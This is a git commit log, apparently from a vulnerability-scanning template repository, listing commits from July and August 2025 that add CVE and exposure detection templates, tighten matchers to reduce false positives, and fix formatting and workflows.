oleveloper	4f947d7f98	fix: reduce false positives in CVE-2022-1595.yaml - Strengthened cookie matcher to require 'wordpress_logged_in_' instead of generic 'wordpress_' - Added regex matcher for Location header to only match '/wp-admin/' or '/custom-slug/wp-login.php' paths - Preserved original metadata, severity, and references - Reduces false positives on generic WordPress login redirects while retaining detection accuracy for vulnerable HC Custom WP-Admin URL plugin instances	2025-08-06 23:38:15 +09:00
s-cu-bot	23a935b5ed	Added CVE-2025-54589 Template	2025-08-06 23:21:08 +09:00
Mailler	7ed82abe3d	added Nvidia Triton Inference Server panel	2025-08-06 12:54:24 +03:00
Ritik Chaddha	809d6b68c8	lint fix	2025-08-06 11:38:10 +05:30
Dhiyaneshwaran	7385da9e1e	author name update	2025-08-06 11:16:00 +05:30
Prince Chaddha	92687f09ec	added readme templates	2025-08-05 17:25:39 -07:00
ritikchaddha	50869d255f	Create CVE-2025-32430.yaml	2025-08-05 17:12:53 -07:00
Prince Chaddha	e0338951ba	Merge branch 'main' into update-readme-workflow	2025-08-05 13:14:21 -07:00
Prince Chaddha	e64cca4a82	fixed workflow to update other readme files	2025-08-05 13:05:44 -07:00
pussycat0x	b4827d0194	Template - Enhance && Rename	2025-08-05 23:45:31 +05:30
pussycat0x	1eb9d00e13	Template - Enhancement	2025-08-05 23:21:30 +05:30
Jaenact	b02c089466	feat(sqli): Add multiple payloads and author to time-based-sqli template	2025-08-05 14:30:23 +09:00
4bd0	19dc56faa0	fix(exposed-pki-cert): tighten matchers and remove root path to reduce false-positives - Changed matchers-condition from `or` to `and` to require both keyword and regex matches - Removed the empty payload path (`""`) to avoid scanning the root URL - Prefixed all `paths` entries with `/` for consistency - Simplified and strengthened regex patterns for `CN` and `.crl/.cer/.p7b` links - Enhanced OCSP stub exclusion using a more precise regex	2025-08-05 02:40:14 +03:00
pussycat0x	fba07d34e7	Directory change && minor - update	2025-08-04 23:55:37 +05:30
SeungAh Hong	7d53855fea	Add CVE-2025-34073.yaml	2025-08-04 21:01:24 +09:00
Icaro Torres	4a087d12d2	Create diced-zipline-detect.yaml	2025-08-03 11:00:35 -03:00
pussycat0x	fd34d9a384	lint -fix	2025-08-01 19:19:05 +05:30
pussycat0x	1fae97a5e2	tags -update	2025-08-01 19:06:49 +05:30
pussycat0x	b74dadcfa1	Fix- Fixed pki-validation-exposure.yaml	2025-08-01 18:35:36 +05:30
pussycat0x	ba4a8d1585	Fix - oauth-authorization-server-exposure.yaml	2025-08-01 18:27:27 +05:30
pussycat0x	af150dc807	Format - Fix nostr-json-exposure.yaml	2025-08-01 18:01:28 +05:30
pussycat0x	e2461db562	format - fix mta-sts-exposure.yaml	2025-08-01 17:52:47 +05:30
adervis3	e8fcbcfc34	Update CVE-2024-36104.yaml	2025-08-01 07:50:37 +03:00
adervis3	778fffd2a4	Update CVE-2024-38856.yaml	2025-08-01 07:48:06 +03:00
adervis3	ddccc8db6f	Merge branch 'projectdiscovery:main' into main	2025-07-31 13:57:48 +03:00
adervis3	4e91147cbd	Update CVE-2024-38856.yaml Added Windows support.	2025-07-31 13:57:08 +03:00
adervis3	ab7cfb6ffb	Update CVE-2024-36104.yaml Fixed epss score	2025-07-31 13:55:52 +03:00
adervis3	da343a07fa	Update CVE-2024-36104.yaml Added Windows support.	2025-07-31 13:51:52 +03:00
Al Baradi Joy	65c1bb4abb	Create exposed-venv-dir.yaml	2025-07-31 02:34:50 +06:00
Rishi	47d7dc2b54	lint fixes	2025-07-25 18:10:03 +01:00
Rishi	1b37b7778d	fix	2025-07-25 17:50:17 +01:00
Rishi	9c3a2b335b	well-known exposures	2025-07-25 17:28:53 +01:00
Dhiyaneshwaran	b7c6075426	Revert "Add flow optimization to multiple paylaods/ reqs templates for performance improvement"	2025-07-22 02:07:56 +05:30
Prince Chaddha	dc0ac9920c	reverted nonce value	2025-07-18 14:28:57 +04:00
Prince Chaddha	96131d0cc7	Update CVE-2025-6934 template with proper formatting and metadata - Fixed grammar, spelling, and spacing in description - Added classification with CVSS metrics and CVE/CWE IDs - Added impact and remediation sections - Updated metadata with vendor, product, and Shodan query - Enhanced tags with proper WordPress plugin tags - Fixed variable quoting for consistency - Improved nonce extraction usage in POST request - Enhanced matchers to validate plugin presence	2025-07-18 14:26:56 +04:00
pussycat0x	7c78d2fb0e	Update and rename CVE-2025-49029.yaml to CVE-2025-6934.yaml	2025-07-17 14:59:35 +05:30
pussycat0x	292cfd8933	Update CVE-2025-49029.yaml	2025-07-17 14:54:32 +05:30
pussycat0x	fc03dc049f	Create CVE-2025-49029.yaml	2025-07-17 14:51:58 +05:30
Chris	eedfb1bc5a	Fix panel typo in tags	2025-07-15 19:36:04 +02:00
Prince Chaddha	dba21c137a	Update huawei-holosense-panel.yaml	2025-07-15 18:23:42 +04:00
Chris	1c9ceaebea	Fix yamllint	2025-07-14 22:55:44 +02:00
Chris	85e3f928d1	Update huawei-holosense-panel - Additiona shodan/fofa queries	2025-07-14 22:49:48 +02:00
Chris	22488362a8	Create huawei-holosense-panel.yaml	2025-07-14 22:37:19 +02:00